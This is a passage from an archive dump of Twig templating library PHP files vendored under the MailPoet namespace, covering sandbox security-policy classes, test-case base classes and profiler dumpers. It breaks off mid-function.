 namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Error\Error; class SecurityError extends \MailPoetVendor\Twig\Error\Error { } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityError', 'MailPoetVendor\\Twig_Sandbox_SecurityError'); twig/src/Sandbox/index.php000066600000000000150351206230011512 0ustar00twig/src/Sandbox/SecurityNotAllowedMethodError.php000066600000002410150351206230016365 0ustar00<?php
 namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; class SecurityNotAllowedMethodError extends \MailPoetVendor\Twig\Sandbox\SecurityError { private $className; private $methodName; public function __construct(string $message, string $className, string $methodName, int $lineno = -1, string $filename = null, \Exception $previous = null) { if (-1 !== $lineno) { @\trigger_error(\sprintf('Passing $lineno as a 3th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $filename) { @\trigger_error(\sprintf('Passing $filename as a 4th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $previous) { @\trigger_error(\sprintf('Passing $previous as a 5th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } parent::__construct($message, $lineno, $filename, $previous); $this->className = $className; $this->methodName = $methodName; } public function getClassName() { return $this->className; } public function getMethodName() { return $this->methodName; } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedMethodError', 'MailPoetVendor\\Twig_Sandbox_SecurityNotAllowedMethodError'); twig/src/Sandbox/SecurityNotAllowedPropertyError.php000066600000002432150351206230016775 0ustar00<?php
 namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; class SecurityNotAllowedPropertyError extends \MailPoetVendor\Twig\Sandbox\SecurityError { private $className; private $propertyName; public function __construct(string $message, string $className, string $propertyName, int $lineno = -1, string $filename = null, \Exception $previous = null) { if (-1 !== $lineno) { @\trigger_error(\sprintf('Passing $lineno as a 3th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $filename) { @\trigger_error(\sprintf('Passing $filename as a 4th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $previous) { @\trigger_error(\sprintf('Passing $previous as a 5th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } parent::__construct($message, $lineno, $filename, $previous); $this->className = $className; $this->propertyName = $propertyName; } public function getClassName() { return $this->className; } public function getPropertyName() { return $this->propertyName; } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedPropertyError', 'MailPoetVendor\\Twig_Sandbox_SecurityNotAllowedPropertyError'); twig/src/Sandbox/SecurityNotAllowedFilterError.php000066600000002212150351206230016372 0ustar00<?php
 namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; class SecurityNotAllowedFilterError extends \MailPoetVendor\Twig\Sandbox\SecurityError { private $filterName; public function __construct(string $message, string $functionName, int $lineno = -1, string $filename = null, \Exception $previous = null) { if (-1 !== $lineno) { @\trigger_error(\sprintf('Passing $lineno as a 3th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $filename) { @\trigger_error(\sprintf('Passing $filename as a 4th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $previous) { @\trigger_error(\sprintf('Passing $previous as a 5th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } parent::__construct($message, $lineno, $filename, $previous); $this->filterName = $functionName; } public function getFilterName() { return $this->filterName; } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedFilterError', 'MailPoetVendor\\Twig_Sandbox_SecurityNotAllowedFilterError'); twig/src/Sandbox/SecurityNotAllowedTagError.php000066600000002153150351206230015664 0ustar00<?php
 namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; class SecurityNotAllowedTagError extends \MailPoetVendor\Twig\Sandbox\SecurityError { private $tagName; public function __construct(string $message, string $tagName, int $lineno = -1, string $filename = null, \Exception $previous = null) { if (-1 !== $lineno) { @\trigger_error(\sprintf('Passing $lineno as a 3th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $filename) { @\trigger_error(\sprintf('Passing $filename as a 4th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $previous) { @\trigger_error(\sprintf('Passing $previous as a 5th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } parent::__construct($message, $lineno, $filename, $previous); $this->tagName = $tagName; } public function getTagName() { return $this->tagName; } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedTagError', 'MailPoetVendor\\Twig_Sandbox_SecurityNotAllowedTagError'); twig/src/Sandbox/SecurityPolicy.php000066600000006405150351206230013411 0ustar00<?php
 namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Markup; use MailPoetVendor\Twig\Template; final class SecurityPolicy implements \MailPoetVendor\Twig\Sandbox\SecurityPolicyInterface { private $allowedTags; private $allowedFilters; private $allowedMethods; private $allowedProperties; private $allowedFunctions; public function __construct(array $allowedTags = [], array $allowedFilters = [], array $allowedMethods = [], array $allowedProperties = [], array $allowedFunctions = []) { $this->allowedTags = $allowedTags; $this->allowedFilters = $allowedFilters; $this->setAllowedMethods($allowedMethods); $this->allowedProperties = $allowedProperties; $this->allowedFunctions = $allowedFunctions; } public function setAllowedTags(array $tags) { $this->allowedTags = $tags; } public function setAllowedFilters(array $filters) { $this->allowedFilters = $filters; } public function setAllowedMethods(array $methods) { $this->allowedMethods = []; foreach ($methods as $class => $m) { $this->allowedMethods[$class] = \array_map(function ($value) { return \strtr($value, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); }, \is_array($m) ? $m : [$m]); } } public function setAllowedProperties(array $properties) { $this->allowedProperties = $properties; } public function setAllowedFunctions(array $functions) { $this->allowedFunctions = $functions; } public function checkSecurity($tags, $filters, $functions) { foreach ($tags as $tag) { if (!\in_array($tag, $this->allowedTags)) { throw new \MailPoetVendor\Twig\Sandbox\SecurityNotAllowedTagError(\sprintf('Tag "%s" is not allowed.', $tag), $tag); } } foreach ($filters as $filter) { if (!\in_array($filter, $this->allowedFilters)) { throw new \MailPoetVendor\Twig\Sandbox\SecurityNotAllowedFilterError(\sprintf('Filter "%s" is not allowed.', $filter), $filter); } } foreach ($functions as $function) { if (!\in_array($function, $this->allowedFunctions)) { throw new \MailPoetVendor\Twig\Sandbox\SecurityNotAllowedFunctionError(\sprintf('Function "%s" is not allowed.', $function), $function); } } } public function checkMethodAllowed($obj, $method) { if ($obj instanceof \MailPoetVendor\Twig\Template || $obj instanceof \MailPoetVendor\Twig\Markup) { return; } $allowed = \false; $method = \strtr($method, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'); foreach ($this->allowedMethods as $class => $methods) { if ($obj instanceof $class) { $allowed = \in_array($method, $methods); break; } } if (!$allowed) { $class = \get_class($obj); throw new \MailPoetVendor\Twig\Sandbox\SecurityNotAllowedMethodError(\sprintf('Calling "%s" method on a "%s" object is not allowed.', $method, $class), $class, $method); } } public function checkPropertyAllowed($obj, $property) { $allowed = \false; foreach ($this->allowedProperties as $class => $properties) { if ($obj instanceof $class) { $allowed = \in_array($property, \is_array($properties) ? $properties : [$properties]); break; } } if (!$allowed) { $class = \get_class($obj); throw new \MailPoetVendor\Twig\Sandbox\SecurityNotAllowedPropertyError(\sprintf('Calling "%s" property on a "%s" object is not allowed.', $property, $class), $class, $property); } } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityPolicy', 'MailPoetVendor\\Twig_Sandbox_SecurityPolicy'); twig/src/Sandbox/SecurityNotAllowedFunctionError.php000066600000002230150351206230016732 0ustar00<?php
 namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; class SecurityNotAllowedFunctionError extends \MailPoetVendor\Twig\Sandbox\SecurityError { private $functionName; public function __construct(string $message, string $functionName, int $lineno = -1, string $filename = null, \Exception $previous = null) { if (-1 !== $lineno) { @\trigger_error(\sprintf('Passing $lineno as a 3th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $filename) { @\trigger_error(\sprintf('Passing $filename as a 4th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } if (null !== $previous) { @\trigger_error(\sprintf('Passing $previous as a 5th argument of the %s constructor is deprecated since Twig 2.8.1.', __CLASS__), \E_USER_DEPRECATED); } parent::__construct($message, $lineno, $filename, $previous); $this->functionName = $functionName; } public function getFunctionName() { return $this->functionName; } } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityNotAllowedFunctionError', 'MailPoetVendor\\Twig_Sandbox_SecurityNotAllowedFunctionError'); twig/src/Sandbox/SecurityPolicyInterface.php000066600000000627150351206230015232 0ustar00<?php
 namespace MailPoetVendor\Twig\Sandbox; if (!defined('ABSPATH')) exit; interface SecurityPolicyInterface { public function checkSecurity($tags, $filters, $functions); public function checkMethodAllowed($obj, $method); public function checkPropertyAllowed($obj, $method); } \class_alias('MailPoetVendor\\Twig\\Sandbox\\SecurityPolicyInterface', 'MailPoetVendor\\Twig_Sandbox_SecurityPolicyInterface'); twig/src/Test/NodeTestCase.php000066600000003167150351206230012266 0ustar00<?php
 namespace MailPoetVendor\Twig\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\PHPUnit\Framework\TestCase; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Loader\ArrayLoader; use MailPoetVendor\Twig\Node\Node; abstract class NodeTestCase extends \MailPoetVendor\PHPUnit\Framework\TestCase { public abstract function getTests(); public function testCompile($node, $source, $environment = null, $isPattern = \false) { $this->assertNodeCompilation($source, $node, $environment, $isPattern); } public function assertNodeCompilation($source, \MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $environment = null, $isPattern = \false) { $compiler = $this->getCompiler($environment); $compiler->compile($node); if ($isPattern) { $this->assertStringMatchesFormat($source, \trim($compiler->getSource())); } else { $this->assertEquals($source, \trim($compiler->getSource())); } } protected function getCompiler(\MailPoetVendor\Twig\Environment $environment = null) { return new \MailPoetVendor\Twig\Compiler(null === $environment ? $this->getEnvironment() : $environment); } protected function getEnvironment() { return new \MailPoetVendor\Twig\Environment(new \MailPoetVendor\Twig\Loader\ArrayLoader([])); } protected function getVariableGetter($name, $line = \false) { $line = $line > 0 ? "// line {$line}\n" : ''; return \sprintf('%s($context["%s"] ?? null)', $line, $name); } protected function getAttributeGetter() { return 'twig_get_attribute($this->env, $this->source, '; } } \class_alias('MailPoetVendor\\Twig\\Test\\NodeTestCase', 'MailPoetVendor\\Twig_Test_NodeTestCase'); twig/src/Test/index.php000066600000000000150351206230011033 0ustar00twig/src/Test/IntegrationTestCase.php000066600000015073150351206230013663 0ustar00<?php
 namespace MailPoetVendor\Twig\Test; if (!defined('ABSPATH')) exit; use MailPoetVendor\PHPUnit\Framework\TestCase; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Error\Error; use MailPoetVendor\Twig\Extension\ExtensionInterface; use MailPoetVendor\Twig\Loader\ArrayLoader; use MailPoetVendor\Twig\RuntimeLoader\RuntimeLoaderInterface; use MailPoetVendor\Twig\TwigFilter; use MailPoetVendor\Twig\TwigFunction; use MailPoetVendor\Twig\TwigTest; abstract class IntegrationTestCase extends \MailPoetVendor\PHPUnit\Framework\TestCase { protected abstract function getFixturesDir(); protected function getRuntimeLoaders() { return []; } protected function getExtensions() { return []; } protected function getTwigFilters() { return []; } protected function getTwigFunctions() { return []; } protected function getTwigTests() { return []; } public function testIntegration($file, $message, $condition, $templates, $exception, $outputs, $deprecation = '') { $this->doIntegrationTest($file, $message, $condition, $templates, $exception, $outputs, $deprecation); } public function testLegacyIntegration($file, $message, $condition, $templates, $exception, $outputs, $deprecation = '') { $this->doIntegrationTest($file, $message, $condition, $templates, $exception, $outputs, $deprecation); } public function getTests($name, $legacyTests = \false) { $fixturesDir = \realpath($this->getFixturesDir()); $tests = []; foreach (new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($fixturesDir), \RecursiveIteratorIterator::LEAVES_ONLY) as $file) { if (!\preg_match('/\\.test$/', $file)) { continue; } if ($legacyTests xor \false !== \strpos($file->getRealpath(), '.legacy.test')) { continue; } $test = \file_get_contents($file->getRealpath()); if (\preg_match('/--TEST--\\s*(.*?)\\s*(?:--CONDITION--\\s*(.*))?\\s*(?:--DEPRECATION--\\s*(.*?))?\\s*((?:--TEMPLATE(?:\\(.*?\\))?--(?:.*?))+)\\s*(?:--DATA--\\s*(.*))?\\s*--EXCEPTION--\\s*(.*)/sx', $test, $match)) { $message = $match[1]; $condition = $match[2]; $deprecation = $match[3]; $templates = self::parseTemplates($match[4]); $exception = $match[6]; $outputs = [[null, $match[5], null, '']]; } elseif (\preg_match('/--TEST--\\s*(.*?)\\s*(?:--CONDITION--\\s*(.*))?\\s*(?:--DEPRECATION--\\s*(.*?))?\\s*((?:--TEMPLATE(?:\\(.*?\\))?--(?:.*?))+)--DATA--.*?--EXPECT--.*/s', $test, $match)) { $message = $match[1]; $condition = $match[2]; $deprecation = $match[3]; $templates = self::parseTemplates($match[4]); $exception = \false; \preg_match_all('/--DATA--(.*?)(?:--CONFIG--(.*?))?--EXPECT--(.*?)(?=\\-\\-DATA\\-\\-|$)/s', $test, $outputs, \PREG_SET_ORDER); } else { throw new \InvalidArgumentException(\sprintf('Test "%s" is not valid.', \str_replace($fixturesDir . '/', '', $file))); } $tests[] = [\str_replace($fixturesDir . '/', '', $file), $message, $condition, $templates, $exception, $outputs, $deprecation]; } if ($legacyTests && empty($tests)) { return [['not', '-', '', [], '', []]]; } return $tests; } public function getLegacyTests() { return $this->getTests('testLegacyIntegration', \true); } protected function doIntegrationTest($file, $message, $condition, $templates, $exception, $outputs, $deprecation = '') { if (!$outputs) { $this->markTestSkipped('no tests to run'); } if ($condition) { eval('$ret = ' . $condition . ';'); if (!$ret) { $this->markTestSkipped($condition); } } $loader = new \MailPoetVendor\Twig\Loader\ArrayLoader($templates); foreach ($outputs as $i => $match) { $config = \array_merge(['cache' => \false, 'strict_variables' => \true], $match[2] ? eval($match[2] . ';') : []); $twig = new \MailPoetVendor\Twig\Environment($loader, $config); $twig->addGlobal('global', 'global'); foreach ($this->getRuntimeLoaders() as $runtimeLoader) { $twig->addRuntimeLoader($runtimeLoader); } foreach ($this->getExtensions() as $extension) { $twig->addExtension($extension); } foreach ($this->getTwigFilters() as $filter) { $twig->addFilter($filter); } foreach ($this->getTwigTests() as $test) { $twig->addTest($test); } foreach ($this->getTwigFunctions() as $function) { $twig->addFunction($function); } $p = new \ReflectionProperty($twig, 'templateClassPrefix'); $p->setAccessible(\true); $p->setValue($twig, '__TwigTemplate_' . \hash('sha256', \uniqid(\mt_rand(), \true), \false) . '_'); $deprecations = []; try { $prevHandler = \set_error_handler(function ($type, $msg, $file, $line, $context = []) use(&$deprecations, &$prevHandler) { if (\E_USER_DEPRECATED === $type) { $deprecations[] = $msg; return \true; } return $prevHandler ? $prevHandler($type, $msg, $file, $line, $context) : \false; }); $template = $twig->load('index.twig'); } catch (\Exception $e) { if (\false !== $exception) { $message = $e->getMessage(); $this->assertSame(\trim($exception), \trim(\sprintf('%s: %s', \get_class($e), $message))); $last = \substr($message, \strlen($message) - 1); $this->assertTrue('.' === $last || '?' === $last, 'Exception message must end with a dot or a question mark.'); return; } throw new \MailPoetVendor\Twig\Error\Error(\sprintf('%s: %s', \get_class($e), $e->getMessage()), -1, null, $e); } finally { \restore_error_handler(); } $this->assertSame($deprecation, \implode("\n", $deprecations)); try { $output = \trim($template->render(eval($match[1] . ';')), "\n "); } catch (\Exception $e) { if (\false !== $exception) { $this->assertSame(\trim($exception), \trim(\sprintf('%s: %s', \get_class($e), $e->getMessage()))); return; } $e = new \MailPoetVendor\Twig\Error\Error(\sprintf('%s: %s', \get_class($e), $e->getMessage()), -1, null, $e); $output = \trim(\sprintf('%s: %s', \get_class($e), $e->getMessage())); } if (\false !== $exception) { list($class) = \explode(':', $exception); $constraintClass = \class_exists('MailPoetVendor\\PHPUnit\\Framework\\Constraint\\Exception') ? 'PHPUnit\\Framework\\Constraint\\Exception' : 'PHPUnit_Framework_Constraint_Exception'; $this->assertThat(null, new $constraintClass($class)); } $expected = \trim($match[3], "\n "); if ($expected !== $output) { \printf("Compiled templates that failed on case %d:\n", $i + 1); foreach (\array_keys($templates) as $name) { echo "Template: {$name}\n"; echo $twig->compile($twig->parse($twig->tokenize($twig->getLoader()->getSourceContext($name)))); } } $this->assertEquals($expected, $output, $message . ' (in ' . $file . ')'); } } protected static function parseTemplates($test) { $templates = []; \preg_match_all('/--TEMPLATE(?:\\((.*?)\\))?--(.*?)(?=\\-\\-TEMPLATE|$)/s', $test, $matches, \PREG_SET_ORDER); foreach ($matches as $match) { $templates[$match[1] ? $match[1] : 'index.twig'] = $match[2]; } return $templates; } } \class_alias('MailPoetVendor\\Twig\\Test\\IntegrationTestCase', 'MailPoetVendor\\Twig_Test_IntegrationTestCase'); twig/src/Profiler/Node/LeaveProfileNode.php000066600000001215150351206230014650 0ustar00<?php
 namespace MailPoetVendor\Twig\Profiler\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class LeaveProfileNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(string $varName) { parent::__construct([], ['var_name' => $varName]); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write("\n")->write(\sprintf("\$%s->leave(\$%s);\n\n", $this->getAttribute('var_name'), $this->getAttribute('var_name') . '_prof')); } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Node\\LeaveProfileNode', 'MailPoetVendor\\Twig_Profiler_Node_LeaveProfile'); twig/src/Profiler/Node/index.php000066600000000000150351206230012563 0ustar00twig/src/Profiler/Node/EnterProfileNode.php000066600000002045150351206230014673 0ustar00<?php
 namespace MailPoetVendor\Twig\Profiler\Node; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class EnterProfileNode extends \MailPoetVendor\Twig\Node\Node { public function __construct(string $extensionName, string $type, string $name, string $varName) { parent::__construct([], ['extension_name' => $extensionName, 'name' => $name, 'type' => $type, 'var_name' => $varName]); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->write(\sprintf('$%s = $this->extensions[', $this->getAttribute('var_name')))->repr($this->getAttribute('extension_name'))->raw("];\n")->write(\sprintf('$%s->enter($%s = new \\MailPoetVendor\\Twig\\Profiler\\Profile($this->getTemplateName(), ', $this->getAttribute('var_name'), $this->getAttribute('var_name') . '_prof'))->repr($this->getAttribute('type'))->raw(', ')->repr($this->getAttribute('name'))->raw("));\n\n"); } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Node\\EnterProfileNode', 'MailPoetVendor\\Twig_Profiler_Node_EnterProfile'); twig/src/Profiler/NodeVisitor/ProfilerNodeVisitor.php000066600000005150150351206230017017 0ustar00<?php
 namespace MailPoetVendor\Twig\Profiler\NodeVisitor; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Environment; use MailPoetVendor\Twig\Node\BlockNode; use MailPoetVendor\Twig\Node\BodyNode; use MailPoetVendor\Twig\Node\MacroNode; use MailPoetVendor\Twig\Node\ModuleNode; use MailPoetVendor\Twig\Node\Node; use MailPoetVendor\Twig\NodeVisitor\AbstractNodeVisitor; use MailPoetVendor\Twig\Profiler\Node\EnterProfileNode; use MailPoetVendor\Twig\Profiler\Node\LeaveProfileNode; use MailPoetVendor\Twig\Profiler\Profile; final class ProfilerNodeVisitor extends \MailPoetVendor\Twig\NodeVisitor\AbstractNodeVisitor { private $extensionName; public function __construct(string $extensionName) { $this->extensionName = $extensionName; } protected function doEnterNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { return $node; } protected function doLeaveNode(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Environment $env) { if ($node instanceof \MailPoetVendor\Twig\Node\ModuleNode) { $varName = $this->getVarName(); $node->setNode('display_start', new \MailPoetVendor\Twig\Node\Node([new \MailPoetVendor\Twig\Profiler\Node\EnterProfileNode($this->extensionName, \MailPoetVendor\Twig\Profiler\Profile::TEMPLATE, $node->getTemplateName(), $varName), $node->getNode('display_start')])); $node->setNode('display_end', new \MailPoetVendor\Twig\Node\Node([new \MailPoetVendor\Twig\Profiler\Node\LeaveProfileNode($varName), $node->getNode('display_end')])); } elseif ($node instanceof \MailPoetVendor\Twig\Node\BlockNode) { $varName = $this->getVarName(); $node->setNode('body', new \MailPoetVendor\Twig\Node\BodyNode([new \MailPoetVendor\Twig\Profiler\Node\EnterProfileNode($this->extensionName, \MailPoetVendor\Twig\Profiler\Profile::BLOCK, $node->getAttribute('name'), $varName), $node->getNode('body'), new \MailPoetVendor\Twig\Profiler\Node\LeaveProfileNode($varName)])); } elseif ($node instanceof \MailPoetVendor\Twig\Node\MacroNode) { $varName = $this->getVarName(); $node->setNode('body', new \MailPoetVendor\Twig\Node\BodyNode([new \MailPoetVendor\Twig\Profiler\Node\EnterProfileNode($this->extensionName, \MailPoetVendor\Twig\Profiler\Profile::MACRO, $node->getAttribute('name'), $varName), $node->getNode('body'), new \MailPoetVendor\Twig\Profiler\Node\LeaveProfileNode($varName)])); } return $node; } private function getVarName() : string { return \sprintf('__internal_%s', \hash('sha256', $this->extensionName)); } public function getPriority() { return 0; } } \class_alias('MailPoetVendor\\Twig\\Profiler\\NodeVisitor\\ProfilerNodeVisitor', 'MailPoetVendor\\Twig_Profiler_NodeVisitor_Profiler'); twig/src/Profiler/NodeVisitor/index.php000066600000000000150351206230014143 0ustar00twig/src/Profiler/Dumper/index.php000066600000000000150351206230013132 0ustar00twig/src/Profiler/Dumper/BlackfireDumper.php000066600000003124150351206230015074 0ustar00<?php
 namespace MailPoetVendor\Twig\Profiler\Dumper; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Profiler\Profile; final class BlackfireDumper { public function dump(\MailPoetVendor\Twig\Profiler\Profile $profile) { $data = []; $this->dumpProfile('main()', $profile, $data); $this->dumpChildren('main()', $profile, $data); $start = \sprintf('%f', \microtime(\true)); $str = <<<EOF
file-format: BlackfireProbe
cost-dimensions: wt mu pmu
request-start: {$start}


EOF;
foreach ($data as $name => $values) { $str .= "{$name}//{$values['ct']} {$values['wt']} {$values['mu']} {$values['pmu']}\n"; } return $str; } private function dumpChildren(string $parent, \MailPoetVendor\Twig\Profiler\Profile $profile, &$data) { foreach ($profile as $p) { if ($p->isTemplate()) { $name = $p->getTemplate(); } else { $name = \sprintf('%s::%s(%s)', $p->getTemplate(), $p->getType(), $p->getName()); } $this->dumpProfile(\sprintf('%s==>%s', $parent, $name), $p, $data); $this->dumpChildren($name, $p, $data); } } private function dumpProfile(string $edge, \MailPoetVendor\Twig\Profiler\Profile $profile, &$data) { if (isset($data[$edge])) { ++$data[$edge]['ct']; $data[$edge]['wt'] += \floor($profile->getDuration() * 1000000); $data[$edge]['mu'] += $profile->getMemoryUsage(); $data[$edge]['pmu'] += $profile->getPeakMemoryUsage(); } else { $data[$edge] = ['ct' => 1, 'wt' => \floor($profile->getDuration() * 1000000), 'mu' => $profile->getMemoryUsage(), 'pmu' => $profile->getPeakMemoryUsage()]; } } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Dumper\\BlackfireDumper', 'MailPoetVendor\\Twig_Profiler_Dumper_Blackfire'); twig/src/Profiler/Dumper/HtmlDumper.php000066600000002527150351206230014124 0ustar00<?php
 namespace MailPoetVendor\Twig\Profiler\Dumper; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Profiler\Profile; final class HtmlDumper extends \MailPoetVendor\Twig\Profiler\Dumper\BaseDumper { private static $colors = ['block' => '#dfd', 'macro' => '#ddf', 'template' => '#ffd', 'big' => '#d44']; public function dump(\MailPoetVendor\Twig\Profiler\Profile $profile) { return '<pre>' . parent::dump($profile) . '</pre>'; } protected function formatTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix) { return \sprintf('%s└ <span style="background-color: %s">%s</span>', $prefix, self::$colors['template'], $profile->getTemplate()); } protected function formatNonTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix) { return \sprintf('%s└ %s::%s(<span style="background-color: %s">%s</span>)', $prefix, $profile->getTemplate(), $profile->getType(), isset(self::$colors[$profile->getType()]) ? self::$colors[$profile->getType()] : 'auto', $profile->getName()); } protected function formatTime(\MailPoetVendor\Twig\Profiler\Profile $profile, $percent) { return \sprintf('<span style="color: %s">%.2fms/%.0f%%</span>', $percent > 20 ? self::$colors['big'] : 'auto', $profile->getDuration() * 1000, $percent); } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Dumper\\HtmlDumper', 'MailPoetVendor\\Twig_Profiler_Dumper_Html'); twig/src/Profiler/Dumper/BaseDumper.php000066600000002716150351206230014072 0ustar00<?php
 namespace MailPoetVendor\Twig\Profiler\Dumper; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Profiler\Profile; abstract class BaseDumper { private $root; public function dump(\MailPoetVendor\Twig\Profiler\Profile $profile) { return $this->dumpProfile($profile); } protected abstract function formatTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix); protected abstract function formatNonTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix); protected abstract function formatTime(\MailPoetVendor\Twig\Profiler\Profile $profile, $percent); private function dumpProfile(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix = '', $sibling = \false) : string { if ($profile->isRoot()) { $this->root = $profile->getDuration(); $start = $profile->getName(); } else { if ($profile->isTemplate()) { $start = $this->formatTemplate($profile, $prefix); } else { $start = $this->formatNonTemplate($profile, $prefix); } $prefix .= $sibling ? '│ ' : '  '; } $percent = $this->root ? $profile->getDuration() / $this->root * 100 : 0; if ($profile->getDuration() * 1000 < 1) { $str = $start . "\n"; } else { $str = \sprintf("%s %s\n", $start, $this->formatTime($profile, $percent)); } $nCount = \count($profile->getProfiles()); foreach ($profile as $i => $p) { $str .= $this->dumpProfile($p, $prefix, $i + 1 !== $nCount); } return $str; } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Dumper\\BaseDumper', 'MailPoetVendor\\Twig_Profiler_Dumper_Base'); twig/src/Profiler/Dumper/TextDumper.php000066600000001534150351206230014141 0ustar00<?php
 namespace MailPoetVendor\Twig\Profiler\Dumper; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Profiler\Profile; final class TextDumper extends \MailPoetVendor\Twig\Profiler\Dumper\BaseDumper { protected function formatTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix) { return \sprintf('%s└ %s', $prefix, $profile->getTemplate()); } protected function formatNonTemplate(\MailPoetVendor\Twig\Profiler\Profile $profile, $prefix) { return \sprintf('%s└ %s::%s(%s)', $prefix, $profile->getTemplate(), $profile->getType(), $profile->getName()); } protected function formatTime(\MailPoetVendor\Twig\Profiler\Profile $profile, $percent) { return \sprintf('%.2fms/%.0f%%', $profile->getDuration() * 1000, $percent); } } \class_alias('MailPoetVendor\\Twig\\Profiler\\Dumper\\TextDumper', 'MailPoetVendor\\Twig_Profiler_Dumper_Text'); twig/src/Profiler/Profile.php000066600000005543150351206230012210 0ustar00<?php
 namespace MailPoetVendor\Twig\Profiler; if (!defined('ABSPATH')) exit; class Profile implements \IteratorAggregate, \Serializable { const ROOT = 'ROOT'; const BLOCK = 'block'; const TEMPLATE = 'template'; const MACRO = 'macro'; private $template; private $name; private $type; private $starts = []; private $ends = []; private $profiles = []; public function __construct(string $template = 'main', string $type = self::ROOT, string $name = 'main') { if (__CLASS__ !== \get_class($this)) { @\trigger_error('Overriding ' . __CLASS__ . ' is deprecated since Twig 2.4.0 and the class will be final in 3.0.', \E_USER_DEPRECATED); } $this->template = $template; $this->type = $type; $this->name = 0 === \strpos($name, '__internal_') ? 'INTERNAL' : $name; $this->enter(); } public function getTemplate() { return $this->template; } public function getType() { return $this->type; } public function getName() { return $this->name; } public function isRoot() { return self::ROOT === $this->type; } public function isTemplate() { return self::TEMPLATE === $this->type; } public function isBlock() { return self::BLOCK === $this->type; } public function isMacro() { return self::MACRO === $this->type; } public function getProfiles() { return $this->profiles; } public function addProfile(self $profile) { $this->profiles[] = $profile; } public function getDuration() { if ($this->isRoot() && $this->profiles) { $duration = 0; foreach ($this->profiles as $profile) { $duration += $profile->getDuration(); } return $duration; } return isset($this->ends['wt']) && isset($this->starts['wt']) ? $this->ends['wt'] - $this->starts['wt'] : 0; } public function getMemoryUsage() { return isset($this->ends['mu']) && isset($this->starts['mu']) ? $this->ends['mu'] - $this->starts['mu'] : 0; } public function getPeakMemoryUsage() { return isset($this->ends['pmu']) && isset($this->starts['pmu']) ? $this->ends['pmu'] - $this->starts['pmu'] : 0; } public function enter() { $this->starts = ['wt' => \microtime(\true), 'mu' => \memory_get_usage(), 'pmu' => \memory_get_peak_usage()]; } public function leave() { $this->ends = ['wt' => \microtime(\true), 'mu' => \memory_get_usage(), 'pmu' => \memory_get_peak_usage()]; } public function reset() { $this->starts = $this->ends = $this->profiles = []; $this->enter(); } public function getIterator() { return new 